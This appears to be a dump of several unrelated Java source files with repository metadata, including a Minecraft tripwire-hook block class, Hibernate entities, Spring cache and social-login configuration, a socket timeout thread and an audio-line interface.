par1World.playSoundEffect((double)par2 + 0.5D, (double)par3 + 0.1D, (double)par4 + 0.5D, "random.click", 0.4F, 0.6F); } else if (!par6 && par8) { par1World.playSoundEffect((double)par2 + 0.5D, (double)par3 + 0.1D, (double)par4 + 0.5D, "random.click", 0.4F, 0.5F); } else if (par5 && !par7) { par1World.playSoundEffect((double)par2 + 0.5D, (double)par3 + 0.1D, (double)par4 + 0.5D, "random.click", 0.4F, 0.7F); } else if (!par5 && par7) { par1World.playSoundEffect((double)par2 + 0.5D, (double)par3 + 0.1D, (double)par4 + 0.5D, "random.bowhit", 0.4F, 1.2F / (par1World.rand.nextFloat() * 0.2F + 0.9F)); } } private void notifyNeighborOfChange(World par1World, int par2, int par3, int par4, int par5) { par1World.notifyBlocksOfNeighborChange(par2, par3, par4, this.blockID); if (par5 == 3) { par1World.notifyBlocksOfNeighborChange(par2 - 1, par3, par4, this.blockID); } else if (par5 == 1) { par1World.notifyBlocksOfNeighborChange(par2 + 1, par3, par4, this.blockID); } else if (par5 == 0) { par1World.notifyBlocksOfNeighborChange(par2, par3, par4 - 1, this.blockID); } else if (par5 == 2) { par1World.notifyBlocksOfNeighborChange(par2, par3, par4 + 1, this.blockID); } } private boolean func_72144_l(World par1World, int par2, int par3, int par4) { if (!this.canPlaceBlockAt(par1World, par2, par3, par4)) { this.dropBlockAsItem(par1World, par2, par3, par4, par1World.getBlockMetadata(par2, par3, par4), 0); par1World.setBlockToAir(par2, par3, par4); return false; } else { return true; } } /** * Updates the blocks bounds based on its current state. Args: world, x, y, z */ public void setBlockBoundsBasedOnState(IBlockAccess par1IBlockAccess, int par2, int par3, int par4) { int l = par1IBlockAccess.getBlockMetadata(par2, par3, par4) & 3; float f = 0.1875F; if (l == 3) { this.setBlockBounds(0.0F, 0.2F, 0.5F - f, f * 2.0F, 0.8F, 0.5F + f); } else if (l == 1) { this.setBlockBounds(1.0F - f * 2.0F, 0.2F, 0.5F - f, 1.0F, 0.8F, 0.5F + f); } else if (l == 0) { this.setBlockBounds(0.5F - f, 0.2F, 0.0F, 0.5F + f, 0.8F, f * 2.0F); } else if (l == 2) { this.setBlockBounds(0.5F - f, 0.2F, 1.0F - f * 2.0F, 0.5F + f, 0.8F, 1.0F); } } /** * Called on server worlds only when the block has been replaced by a different block ID, or the same block with a * different metadata value, but before the new metadata value is set. Args: World, x, y, z, old block ID, old * metadata */ public void breakBlock(World par1World, int par2, int par3, int par4, int par5, int par6) { boolean flag = (par6 & 4) == 4; boolean flag1 = (par6 & 8) == 8; if (flag || flag1) { this.func_72143_a(par1World, par2, par3, par4, 0, par6, false, -1, 0); } if (flag1) { par1World.notifyBlocksOfNeighborChange(par2, par3, par4, this.blockID); int j1 = par6 & 3; if (j1 == 3) { par1World.notifyBlocksOfNeighborChange(par2 - 1, par3, par4, this.blockID); } else if (j1 == 1) { par1World.notifyBlocksOfNeighborChange(par2 + 1, par3, par4, this.blockID); } else if (j1 == 0) { par1World.notifyBlocksOfNeighborChange(par2, par3, par4 - 1, this.blockID); } else if (j1 == 2) { par1World.notifyBlocksOfNeighborChange(par2, par3, par4 + 1, this.blockID); } } super.breakBlock(par1World, par2, par3, par4, par5, par6); } /** * Returns true if the block is emitting indirect/weak redstone power on the specified side. If isBlockNormalCube * returns true, standard redstone propagation rules will apply instead and this will not be called. Args: World, X, * Y, Z, side. Note that the side is reversed - eg it is 1 (up) when checking the bottom of the block. */ public int isProvidingWeakPower(IBlockAccess par1IBlockAccess, int par2, int par3, int par4, int par5) { return (par1IBlockAccess.getBlockMetadata(par2, par3, par4) & 8) == 8 ? 15 : 0; } /** * Returns true if the block is emitting direct/strong redstone power on the specified side. Args: World, X, Y, Z, * side. Note that the side is reversed - eg it is 1 (up) when checking the bottom of the block. */ public int isProvidingStrongPower(IBlockAccess par1IBlockAccess, int par2, int par3, int par4, int par5) { int i1 = par1IBlockAccess.getBlockMetadata(par2, par3, par4); if ((i1 & 8) != 8) { return 0; } else { int j1 = i1 & 3; return j1 == 2 && par5 == 2 ? 15 : (j1 == 0 && par5 == 3 ? 15 : (j1 == 1 && par5 == 4 ? 15 : (j1 == 3 && par5 == 5 ? 15 : 0))); } } /** * Can this block provide power. Only wire currently seems to have this change based on its state. */ public boolean canProvidePower() { return true; } }
[ "ethan.hedrick@ndsu.edu" ]
ethan.hedrick@ndsu.edu
9069922359cd2dabbe3c23ef9f716b9fdbf156d7
24ffa1590032096fb5078eb646cefcbb3ec58216
/src/test/java/com/Html/AppTest.java
0bd63e64e4dd9a6a10a5954f9ae605b84078dbe5
[]
no_license
JakshiJindal/HTML_assignment
bc7d097d4b26b868babda391979e1804d57443db
2398106de24a677f961d61be6d2b92daef9f9464
refs/heads/master
2021-05-25T17:16:58.515091
2020-04-07T15:39:08
2020-04-07T15:39:08
253,837,811
0
0
null
2020-10-13T20:59:46
2020-04-07T15:37:29
HTML
UTF-8
Java
false
false
280
java
package com.Html; import static org.junit.Assert.assertTrue; import org.junit.Test; /** * Unit test for simple App. */ public class AppTest { /** * Rigorous Test :-) */ @Test public void shouldAnswerWithTrue() { assertTrue( true ); } }
[ "jakshi171341.cse@chitkara.edu.in" ]
jakshi171341.cse@chitkara.edu.in
8b4b70cfb2cbeca35ba977fa7af3faa5111b57ac
6c9617996b4ce467ea39e87bfc96dec490ffa17c
/one-to-many1/src/main/java/com/ddlab/spring/hibernate/Items1.java
960ecee28af18856e88848a7726e13a3ec8378b5
[]
no_license
debjava/hibernateworkspace
07ca5a87a713ddd6ffb821cc295d620f48fc1b7a
413695867f039b2f67b4bf332000d6b42960e9f5
refs/heads/master
2020-04-09T02:39:26.009354
2018-12-01T13:52:53
2018-12-01T13:52:53
159,949,063
0
0
null
null
null
null
UTF-8
Java
false
false
1,618
java
package com.ddlab.spring.hibernate; import javax.persistence.Column; import javax.persistence.Entity; import javax.persistence.GeneratedValue; import javax.persistence.GenerationType; import javax.persistence.Id; import javax.persistence.JoinColumn; import javax.persistence.ManyToOne; import javax.persistence.Table; @Entity @Table(name="ITEMS") public class Items1 { @Id @GeneratedValue(strategy=GenerationType.IDENTITY) @Column(name="id") private long id; @Column(name="item_id") private String itemId; @Column(name="item_total") private double itemTotal; @Column(name="quantity") private int quantity; @ManyToOne @JoinColumn(name="cart_id") private Cart1 cart1; //Hibernate requires no-args constructor public Items1(){} public Items1(String itemId, double total, int qty, Cart1 c) { this.itemId=itemId; this.itemTotal=total; this.quantity=qty; this.cart1=c; } //Getter Setter methods public long getId() { return id; } public void setId(long id) { this.id = id; } public String getItemId() { return itemId; } public void setItemId(String itemId) { this.itemId = itemId; } public double getItemTotal() { return itemTotal; } public void setItemTotal(double itemTotal) { this.itemTotal = itemTotal; } public int getQuantity() { return quantity; } public void setQuantity(int quantity) { this.quantity = quantity; } public Cart1 getCart1() { return cart1; } public void setCart1(Cart1 cart1) { this.cart1 = cart1; } }
[ "deba.java@gmail.com" ]
deba.java@gmail.com
88af1144d2f5c27a0c43762c3cf23dfb12dee37d
22fd8db22a2cf60e144eee3d3e483be991649997
/src/de/og/batterycreator/systemuianalyser/data/BatteryType.java
d2e165fef6abfd7455cac784f78427fc20d2d41e
[]
no_license
olivergeith/java_batteryiconcreator
f2b627354b5eedbe5e30af67e3f6f952212deb96
37d087a471719ec2a9431de607030b6fa57cdebe
refs/heads/master
2022-05-26T04:26:06.136900
2022-05-13T10:52:42
2022-05-13T10:52:42
8,984,062
0
0
null
null
null
null
UTF-8
Java
false
false
2,683
java
package de.og.batterycreator.systemuianalyser.data; import java.awt.image.BufferedImage; import java.util.ArrayList; import java.util.List; import javax.swing.ImageIcon; import de.og.batterycreator.gui.widgets.overview.BatteryOverviewCreator; public class BatteryType extends IconType { public static final String CHARGE_ANIM = "charge_anim"; public static final String BATTERY_PREFIX = "stat_sys_battery"; public static final String BATTERY_PREFIX2 = "tw_stat_sys_battery"; private final String pattern; private final String patternCharge; private final List<ImageIcon> icons = new ArrayList<ImageIcon>(); private final List<ImageIcon> iconsCharge = new ArrayList<ImageIcon>(); public String getPattern() { return pattern; } public BatteryType(final String pattern, final String drawableFolder) { super(drawableFolder); this.pattern = pattern; patternCharge = pattern + CHARGE_ANIM; } public List<ImageIcon> getIcons() { return icons; } public List<ImageIcon> getIconsCharge() { return iconsCharge; } public void addIcon(final ImageIcon icon, final boolean isCharge) { if (isCharge) iconsCharge.add(icon); else icons.add(icon); } @Override public int hashCode() { final int prime = 31; int result = 1; result = prime * result + ((pattern == null) ? 0 : pattern.hashCode()); return result; } @Override public boolean equals(final Object obj) { if (this == obj) return true; if (obj == null) return false; if (getClass() != obj.getClass()) return false; final BatteryType other = (BatteryType) obj; if (pattern == null) { if (other.pattern != null) return false; } else if (!pattern.equals(other.pattern)) return false; return true; } @Override public String toString() { return "BatteryType " + pattern; } @Override public String toDebugString() { return "BatteryType in " + getDrawableFolder() + "/" + pattern + " [" + icons.size() + " icons/ " + iconsCharge.size() + " chargeIcons]" + "is 1% MOD: " + isOnPercentMod(); } /** * @return the patternCharge */ public String getPatternCharge() { return patternCharge; } public BufferedImage getOverview() { final List<ImageIcon> iconMap = new ArrayList<ImageIcon>(); iconMap.addAll(icons); iconMap.addAll(iconsCharge); return BatteryOverviewCreator.createOverviewNewStyle(iconMap, pattern + " (" + getDrawableFolder() + ")"); } public boolean isOnPercentMod() { if (icons.size() >= 101 && iconsCharge.size() >= 101) return true; return false; } public int getBattSize() { final ImageIcon icon = icons.get(0); if (icon != null) return icon.getIconHeight(); return 0; } }
[ "oliver.geith@gmx.net" ]
oliver.geith@gmx.net
e461329cb81a519bc5f8cc120f671d144e67fa80
a28719ba1765585b2ab818bc35d16792133eeca6
/dep-sandbox/src/main/java/com/wso2telco/services/dep/sandbox/dao/model/custom/AccountInfo.java
e6ecbdb376919889c5c032f594cd6d24fda9a712
[]
no_license
Ruwan-Ranganath/sandbox-service
a117fb685614fd37d6543fe0c88413d558e65ed1
73bc9fe5a63b93adca17bff365d1e5589c37c72c
refs/heads/master
2021-01-01T18:19:55.204583
2017-07-25T12:51:21
2017-07-25T12:51:21
98,304,288
0
0
null
2017-07-25T12:34:41
2017-07-25T12:34:41
null
UTF-8
Java
false
false
1,537
java
/******************************************************************************* * Copyright (c) 2015-2016, WSO2.Telco Inc. (http://www.wso2telco.com) All Rights Reserved. * * WSO2.Telco Inc. licences this file to you under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ******************************************************************************/ package com.wso2telco.services.dep.sandbox.dao.model.custom; public class AccountInfo { private String accountStatus; private String accountCurrency; private String accountBalance; public String getAccountStatus() { return accountStatus; } public void setAccountStatus(String accountStatus) { this.accountStatus = accountStatus; } public String getAccountCurrency() { return accountCurrency; } public void setAccountCurrency(String accountCurrency) { this.accountCurrency = accountCurrency; } public String getAccountBalance() { return accountBalance; } public void setAccountBalance(String accountBalance) { this.accountBalance = accountBalance; } }
[ "tharsiga@wso2telco.com" ]
tharsiga@wso2telco.com
a84b00345ce39aa1d8d2372e9fee62a7ca24a34d
5cca66ca8ee9e5ffcefb6eb769450d8dc0ff4f25
/src/com/fanfull/socket/TimeoutThread.java
18f988307ed8bed9631201b8b7857d02560cda82
[]
no_license
orsoul/eclipse-StartActivity
77602b359d2deab65b29982742665379b87fa9aa
b0cbec0fa6ec9bc60fc92993606854b4aec4d64b
refs/heads/master
2021-09-04T20:10:53.915551
2017-09-26T07:07:53
2017-09-26T07:07:53
104,847,115
0
1
null
2018-01-22T02:40:44
2017-09-26T06:51:22
Java
UTF-8
Java
false
false
2,582
java
package com.fanfull.socket; import com.fanfull.utils.LogsUtil; /** * ่ฎกๆ—ถ็บฟ็จ‹.็ญ‰ๅพ…ๆœๅŠก็ซฏๅ›žๅค่ถ…ๆ—ถๆ—ถ๏ผŒ้€š็Ÿฅๅบ”็”จๅฑ‚ */ public class TimeoutThread extends Thread { private static final String TAG = TimeoutThread.class.getSimpleName(); /** ่ฎกๆ—ถๆ—ถ้—ด */ private static final long TIMEOUT = 5000; /** ่ถ…ๆ—ถๅค„็† RecieveListener */ private RecieveListener mRecieveListener; /** * @return */ public RecieveListener getRecieveListener() { return mRecieveListener; } /** * @param recieveListener */ public void setRecieveListener(RecieveListener recieveListener) { mRecieveListener = recieveListener; } /** ็ปˆๆญข็บฟ็จ‹ */ public void stopThread() { this.interrupt(); } /** ๅผ€ๅง‹่ฎกๆ—ถ */ public void startTime() { if (this.getState() == State.WAITING) { synchronized (this) { this.notify(); } } } /** ๅœๆญข่ฎกๆ—ถ */ public void stopTime() { if (this.getState() == State.TIMED_WAITING) { synchronized (this) { this.notify(); } } } @Override public void run() { LogsUtil.w(TAG, TimeoutThread.class.getSimpleName() + " run"); while (true) { LogsUtil.w(TAG, TimeoutThread.class.getSimpleName() + " wait -"); // 1๏ผŒ็ญ‰ๅพ… ๅ”ค้†’ try { synchronized (this) { this.wait(); } } catch (InterruptedException e) { // ่ขซไธญๆ–ญ ้€€ๅ‡บ ็บฟ็จ‹ break; } LogsUtil.w(TAG, TimeoutThread.class.getSimpleName() + " wait " + TIMEOUT); // 2๏ผŒ่ขซๅ”ค้†’ ๅŽ่ฟ›่กŒ ่ฎกๆ—ถ long time = System.currentTimeMillis(); try { synchronized (this) { this.wait(TIMEOUT); } time = System.currentTimeMillis() - time; } catch (InterruptedException e) { // ่ขซไธญๆ–ญ ้€€ๅ‡บ ็บฟ็จ‹ break; } LogsUtil.d(time); if (TIMEOUT <= time && null != mRecieveListener) { SocketConnet.getInstance().setCommNum(-1); // 3๏ผŒ่ถ…ๆ—ถ mRecieveListener.onTimeout(); } } LogsUtil.w(TAG, TimeoutThread.class.getSimpleName() + " run finish"); } }
[ "30432566@qq.com" ]
30432566@qq.com
2df029795325dea74ba8552e5454a8060f71d789
7a09529b402c0f55ff13b40dea3dcb9bbca9e004
/src/main/java/com/oilseller/oilbrocker/platform/cache/PlatformCacheConfig.java
c208784c41202cedf5863b17448089b3027e4f63
[]
no_license
ruchiraPeiris/EasyOil
b3ba1c9b27d98a41abab7067fe5092e539be4165
46256f7ad5d522a7a4bdb2c6028fcfc3e6a02d6f
refs/heads/master
2020-04-20T02:21:27.145204
2018-07-30T05:33:46
2018-07-30T05:33:46
null
0
0
null
null
null
null
UTF-8
Java
false
false
1,527
java
package com.oilseller.oilbrocker.platform.cache; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.cache.Cache; import org.springframework.cache.CacheManager; import org.springframework.cache.annotation.EnableCaching; import org.springframework.cache.concurrent.ConcurrentMapCache; import org.springframework.cache.support.SimpleCacheManager; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.scheduling.annotation.EnableScheduling; import java.util.ArrayList; import java.util.List; @Configuration @EnableCaching @EnableScheduling public class PlatformCacheConfig { static final String ACCESS_TOKEN_CACHE = "access-token-cache"; public static final String USERNAME_CACHE = "username"; public static final String ORDER_CACHE = "orders"; private static final Logger LOGGER = LoggerFactory.getLogger(PlatformCacheConfig.class); private static final long FIVE_MINUTES_IN_MILLIS = 5L * 60 * 1000; private static final long INITIAL_DELAY_MILLIS = 1000L; @Bean public CacheManager cacheManager() { SimpleCacheManager cacheManager = new SimpleCacheManager(); List<Cache> caches = new ArrayList<>(); caches.add(new ConcurrentMapCache(USERNAME_CACHE)); caches.add(new ConcurrentMapCache(ACCESS_TOKEN_CACHE)); caches.add(new ConcurrentMapCache(ORDER_CACHE)); cacheManager.setCaches(caches); return cacheManager; } }
[ "kasunsk@gmail.com" ]
kasunsk@gmail.com
2b247b26810890cd60f20c74dd8ebf3e3485668a
10594d89288cab4c06b71de12ce3a9f6cc230981
/security-core/src/main/java/com/zyz/security/core/social/SocialConfig.java
5116ae7eb327399952c495bbcc8ea70620031086
[]
no_license
shadiniao/OauthProject
639f80d6d31bdd4c82d340bc0d067eaf0c7befcf
a541b81485ccb4d8995e51e94c0b5ecdc967b06a
refs/heads/master
2020-03-27T07:53:16.531753
2018-11-22T07:14:16
2018-11-22T07:14:16
146,201,494
0
0
null
null
null
null
UTF-8
Java
false
false
2,511
java
package com.zyz.security.core.social; import com.zyz.security.core.properties.SecurityProperties; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.core.annotation.Order; import org.springframework.security.crypto.encrypt.Encryptors; import org.springframework.social.config.annotation.EnableSocial; import org.springframework.social.config.annotation.SocialConfigurerAdapter; import org.springframework.social.connect.ConnectionFactoryLocator; import org.springframework.social.connect.ConnectionSignUp; import org.springframework.social.connect.UsersConnectionRepository; import org.springframework.social.connect.jdbc.JdbcUsersConnectionRepository; import org.springframework.social.connect.web.ProviderSignInUtils; import org.springframework.social.security.SpringSocialConfigurer; import javax.sql.DataSource; /** * 2018/9/20. * * @author zhangyizhi */ @Configuration @Order(500) @EnableSocial public class SocialConfig extends SocialConfigurerAdapter { @Autowired private DataSource dataSource; @Autowired private SecurityProperties securityProperties; @Autowired(required = false) private ConnectionSignUp connectionSignUp; // connectionFactoryLocatorๅ‚ๆ•ฐ็”จไบŽๆŸฅๆ‰พไน‹ๅ‰็ผ–ๅ†™ๅฅฝ็š„ConnectionFactory, ๅ› ไธบ็ณป็ปŸไธญๅฏ่ƒฝๆœ‰ๅคš็ง @Override public UsersConnectionRepository getUsersConnectionRepository(ConnectionFactoryLocator connectionFactoryLocator) { // Encryptorsๅฏนๆ•ฐๆฎๅŠ ่งฃๅฏ†็”จ็š„, ่ฟ™้‡Œไธ่ฟ›่กŒๅŠ ่งฃๅฏ† JdbcUsersConnectionRepository jdbcUsersConnectionRepository = new JdbcUsersConnectionRepository(dataSource, connectionFactoryLocator, Encryptors.noOpText()); jdbcUsersConnectionRepository.setTablePrefix("t_"); jdbcUsersConnectionRepository.setConnectionSignUp(connectionSignUp); return jdbcUsersConnectionRepository; } @Bean public SpringSocialConfigurer coreSpringSocialConfigurer() { CoreSpringSocialConfigurer coreSpringSocialConfigurer = new CoreSpringSocialConfigurer(securityProperties.getSocial().getFilterProcessesUrl()); coreSpringSocialConfigurer.signupUrl(securityProperties.getBrowser().getSignUpUrl()); return coreSpringSocialConfigurer; } @Bean public ProviderSignInUtils providerSignInUtils(ConnectionFactoryLocator connectionFactoryLocator) { return new ProviderSignInUtils(connectionFactoryLocator, getUsersConnectionRepository(connectionFactoryLocator)); } }
[ "157876195@qq.com" ]
157876195@qq.com
21ece682a2c977e550d457fabcbcb148416fcd4b
3e27cc38da76776085d3981815b49ea5d721b4aa
/src/dingding/ๆตๆ“ไฝœ/StreamDemo/Student.java
98e9bb4b80e6fe7a520f55b4d473886cfda8bf1b
[]
no_license
liugongding/Java8API
070d05170f298051b82833ff9c7f39f1afbbe0b7
0c7df3bf5035f0c7c70cf1bc92ae87e3ffefdd3b
refs/heads/master
2022-11-20T22:37:40.295019
2020-07-20T12:19:25
2020-07-20T12:19:25
271,203,154
0
0
null
null
null
null
UTF-8
Java
false
false
1,504
java
package dingding.ๆตๆ“ไฝœ.StreamDemo; import lombok.Data; import java.util.Objects; /** * @author liudingding * @ClassName Student * @description * @date 2020/6/9 7:18 ไธ‹ๅˆ */ @Data public class Student { public String name; public Integer age; public String className; public Student(String name, Integer age) { this.name = name; this.age = age; } public Student(String className, String name){ this.className = className; this.name = name; } public String getName() { return name; } public void setName(String name) { this.name = name; } public Integer getAge() { return age; } public void setAge(Integer age) { this.age = age; } public String getClassName() { return className; } public void setClassName(String className) { this.className = className; } @Override public String toString() { return "Student{" + "name='" + name + '\'' + ", age=" + age + '}'; } @Override public boolean equals(Object o) { if (this == o) return true; if (o == null || getClass() != o.getClass()) return false; Student student = (Student) o; return Objects.equals(name, student.name) && Objects.equals(age, student.age); } @Override public int hashCode() { return Objects.hash(name, age); } }
[ "1051533375@qq.com" ]
1051533375@qq.com
0821ad5ff14bce5182ac93ac889177e7019b4cd5
7def524b19e83029757c5c634bd3586cd3586ec5
/src/main/java/com/cloudera/hadoop/hdfs/nfs/nfs4/responses/SAVEFHResponse.java
a2fc8b571248861b43684088352e3eab314b51be
[]
no_license
hanasaki/hdfs-nfs-proxy
744162d69dd820cadad9738a3fe1a4779a52cd87
89cd88fd4ea3bbb4828a41f5020c47ece77b6e60
refs/heads/master
2020-12-24T11:17:00.398688
2012-01-21T18:13:48
2012-01-21T18:13:48
3,183,795
1
0
null
null
null
null
UTF-8
Java
false
false
1,570
java
/** * Copyright 2011 The Apache Software Foundation * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.cloudera.hadoop.hdfs.nfs.nfs4.responses; import static com.cloudera.hadoop.hdfs.nfs.nfs4.Constants.*; import com.cloudera.hadoop.hdfs.nfs.nfs4.Status; import com.cloudera.hadoop.hdfs.nfs.rpc.RPCBuffer; public class SAVEFHResponse extends OperationResponse implements Status { protected int mStatus; @Override public void read(RPCBuffer buffer) { mStatus = buffer.readUint32(); } @Override public void write(RPCBuffer buffer) { buffer.writeUint32(mStatus); } @Override public int getStatus() { return mStatus; } @Override public void setStatus(int status) { this.mStatus = status; } @Override public int getID() { return NFS4_OP_SAVEFH; } }
[ "brock@cloudera.com" ]
brock@cloudera.com
4955e487164752bcf71273ad260a594a1577bde3
29893fba8b6a9791eb4346781f6d1ec24a836860
/voicehandle/src/com/dzx/sound/sampled/TargetDataLine.java
ed9871a01f2dd6f3ec4acfc9bbe1403c7b6bdc4e
[]
no_license
kimonic/javaproject
0d289d755e25df27bb487c9c7f62ad7cefb3eb96
540510d9db5121750606b7b520d101332b9147d4
refs/heads/master
2022-08-18T17:04:19.442141
2022-08-11T07:01:29
2022-08-11T07:01:29
196,780,413
0
0
null
null
null
null
UTF-8
Java
false
false
7,779
java
/* * Copyright (c) 1999, 2003, Oracle and/or its affiliates. All rights reserved. * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms. * * * * * * * * * * * * * * * * * * * * */ package com.dzx.sound.sampled; /** * A target data line is a type of <code>{@link DataLine}</code> from which * audio data can be read. The most common example is a data line that gets * its data from an audio capture device. (The device is implemented as a * mixer that writes to the target data line.) * <p> * Note that the naming convention for this interface reflects the relationship * between the line and its mixer. From the perspective of an application, * a target data line may act as a source for audio data. * <p> * The target data line can be obtained from a mixer by invoking the * <code>{@link Mixer#getLine getLine}</code> * method of <code>Mixer</code> with an appropriate * <code>{@link DataLine.Info}</code> object. * <p> * The <code>TargetDataLine</code> interface provides a method for reading the * captured data from the target data line's buffer.Applications * that record audio should read data from the target data line quickly enough * to keep the buffer from overflowing, which could cause discontinuities in * the captured data that are perceived as clicks. Applications can use the * <code>{@link DataLine#available available}</code> method defined in the * <code>DataLine</code> interface to determine the amount of data currently * queued in the data line's buffer. If the buffer does overflow, * the oldest queued data is discarded and replaced by new data. * * @author Kara Kytle * @see Mixer * @see DataLine * @see SourceDataLine * @since 1.3 */ public interface TargetDataLine extends DataLine { /** * Opens the line with the specified format and requested buffer size, * causing the line to acquire any required system resources and become * operational. * <p> * The buffer size is specified in bytes, but must represent an integral * number of sample frames. Invoking this method with a requested buffer * size that does not meet this requirement may result in an * IllegalArgumentException. The actual buffer size for the open line may * differ from the requested buffer size. The value actually set may be * queried by subsequently calling <code>{@link DataLine#getBufferSize}</code> * <p> * If this operation succeeds, the line is marked as open, and an * <code>{@link LineEvent.Type#OPEN OPEN}</code> event is dispatched to the * line's listeners. * <p> * Invoking this method on a line that is already open is illegal * and may result in an <code>IllegalStateException</code>. * <p> * Some lines, once closed, cannot be reopened. Attempts * to reopen such a line will always result in a * <code>LineUnavailableException</code>. * * @param format the desired audio format * @param bufferSize the desired buffer size, in bytes. * @throws LineUnavailableException if the line cannot be * opened due to resource restrictions * @throws IllegalArgumentException if the buffer size does not represent * an integral number of sample frames, * or if <code>format</code> is not fully specified or invalid * @throws IllegalStateException if the line is already open * @throws SecurityException if the line cannot be * opened due to security restrictions * * @see #open(AudioFormat) * @see Line#open * @see Line#close * @see Line#isOpen * @see LineEvent */ public void open(AudioFormat format, int bufferSize) throws LineUnavailableException; /** * Opens the line with the specified format, causing the line to acquire any * required system resources and become operational. * * <p> * The implementation chooses a buffer size, which is measured in bytes but * which encompasses an integral number of sample frames. The buffer size * that the system has chosen may be queried by subsequently calling <code>{@link DataLine#getBufferSize}</code> * <p> * If this operation succeeds, the line is marked as open, and an * <code>{@link LineEvent.Type#OPEN OPEN}</code> event is dispatched to the * line's listeners. * <p> * Invoking this method on a line that is already open is illegal * and may result in an <code>IllegalStateException</code>. * <p> * Some lines, once closed, cannot be reopened. Attempts * to reopen such a line will always result in a * <code>LineUnavailableException</code>. * * @param format the desired audio format * @throws LineUnavailableException if the line cannot be * opened due to resource restrictions * @throws IllegalArgumentException if <code>format</code> * is not fully specified or invalid * @throws IllegalStateException if the line is already open * @throws SecurityException if the line cannot be * opened due to security restrictions * * @see #open(AudioFormat, int) * @see Line#open * @see Line#close * @see Line#isOpen * @see LineEvent */ public void open(AudioFormat format) throws LineUnavailableException; /** * Reads audio data from the data line's input buffer. The requested * number of bytes is read into the specified array, starting at * the specified offset into the array in bytes. This method blocks until * the requested amount of data has been read. However, if the data line * is closed, stopped, drained, or flushed before the requested amount has * been read, the method no longer blocks, but returns the number of bytes * read thus far. * <p> * The number of bytes that can be read without blocking can be ascertained * using the <code>{@link DataLine#available available}</code> method of the * <code>DataLine</code> interface. (While it is guaranteed that * this number of bytes can be read without blocking, there is no guarantee * that attempts to read additional data will block.) * <p> * The number of bytes to be read must represent an integral number of * sample frames, such that: * <br> * <center><code>[ bytes read ] % [frame size in bytes ] == 0</code></center> * <br> * The return value will always meet this requirement. A request to read a * number of bytes representing a non-integral number of sample frames cannot * be fulfilled and may result in an IllegalArgumentException. * * @param b a byte array that will contain the requested input data when * this method returns * @param off the offset from the beginning of the array, in bytes * @param len the requested number of bytes to read * @return the number of bytes actually read * @throws IllegalArgumentException if the requested number of bytes does * not represent an integral number of sample frames. * or if <code>len</code> is negative. * @throws ArrayIndexOutOfBoundsException if <code>off</code> is negative, * or <code>off+len</code> is greater than the length of the array * <code>b</code>. * * @see SourceDataLine#write * @see DataLine#available */ public int read(byte[] b, int off, int len); /** * Obtains the number of sample frames of audio data that can be read from * the target data line without blocking. Note that the return value * measures sample frames, not bytes. * @return the number of sample frames currently available for reading * @see SourceDataLine#availableWrite */ //public int availableRead(); }
[ "dingzhixin.ex@hx-partners.com" ]
dingzhixin.ex@hx-partners.com
10c20e9404d1359b4e3d627184c9335b4d08096d
b1cdcd056303d94090119ba044eb3883ae104468
/src/main/java/model/bikeservice/BikeOrder.java
7a1ce6b1435625f5bc480be5d8945325fdad9dca
[]
no_license
maciejlis/MASFinalProject
7bbdd81d02b82308ed22f8b525ba2f6b68b2c018
ffb30dad5fe91c085deab52619525c0600ab6553
refs/heads/master
2023-03-06T13:32:40.100402
2021-02-13T13:43:37
2021-02-13T13:43:37
289,450,379
0
0
null
null
null
null
UTF-8
Java
false
false
2,760
java
package model.bikeservice; import model.bikeservice.enums.OrderState; import model.user.Client; import model.user.Seller; import org.hibernate.Session; import org.hibernate.SessionFactory; import org.hibernate.cfg.Configuration; import javax.persistence.*; import java.time.LocalDate; import java.util.ArrayList; import java.util.List; @Entity public class BikeOrder { @Id @GeneratedValue(strategy= GenerationType.AUTO) private int id; @Enumerated(EnumType.ORDINAL) private OrderState orderState; @Column(nullable = false) private double cost; @Column(nullable = false) private LocalDate orderDate; @Column(nullable = false) private String deliveryAddress; @ManyToOne(fetch = FetchType.LAZY) @JoinColumn(name="client_id", nullable=false) private Client client; @ManyToOne(fetch = FetchType.LAZY) @JoinColumn(name="seller_id", nullable=false) private Seller seller; @OneToMany(mappedBy="bikeOrder") private List<Bike> orderedBikes = new ArrayList<>(); public BikeOrder(OrderState orderState, double cost, LocalDate orderDate, String deliveryAddress, int discount) { this.orderState = orderState; this.orderDate = orderDate; this.deliveryAddress = deliveryAddress; //discountCount this.cost = cost - (((double)discount/100) * cost); } public BikeOrder() { } public Client getClient() { return client; } public void setClient(Client client) { this.client = client; } public void setSeller(Seller seller) { this.seller = seller; } public List<Bike> getOrderedBikes() { return orderedBikes; } public void addBike(Bike bike){ bike.setBikeOrder(this); orderedBikes.add(bike); } public void acceptOrder(){ this.orderState = OrderState.ACCEPTED; } public void cancelOrder(){ this.orderState = OrderState.CANCELED; } public int getId() { return id; } public void setId(int id) { this.id = id; } public OrderState getOrderState() { return orderState; } public void setOrderState(OrderState orderState) { this.orderState = orderState; } public double getCost() { return cost; } public void setCost(double cost) { this.cost = cost; } public LocalDate getOrderDate() { return orderDate; } public void setOrderDate(LocalDate orderDate) { this.orderDate = orderDate; } public String getDeliveryAddress() { return deliveryAddress; } public void setDeliveryAddress(String deliveryAddress) { this.deliveryAddress = deliveryAddress; } }
[ "maciej.lis@accenture.com" ]
maciej.lis@accenture.com
d96ebf3ea50586ce7691a487fea30d2bddefd370
ad58ae1122bc62f1cc105a6f5313907fe24a882f
/AccesModifier/KelasA.java
df0eb1fe13db9bd656f873bd6bc9505a5ab761a3
[]
no_license
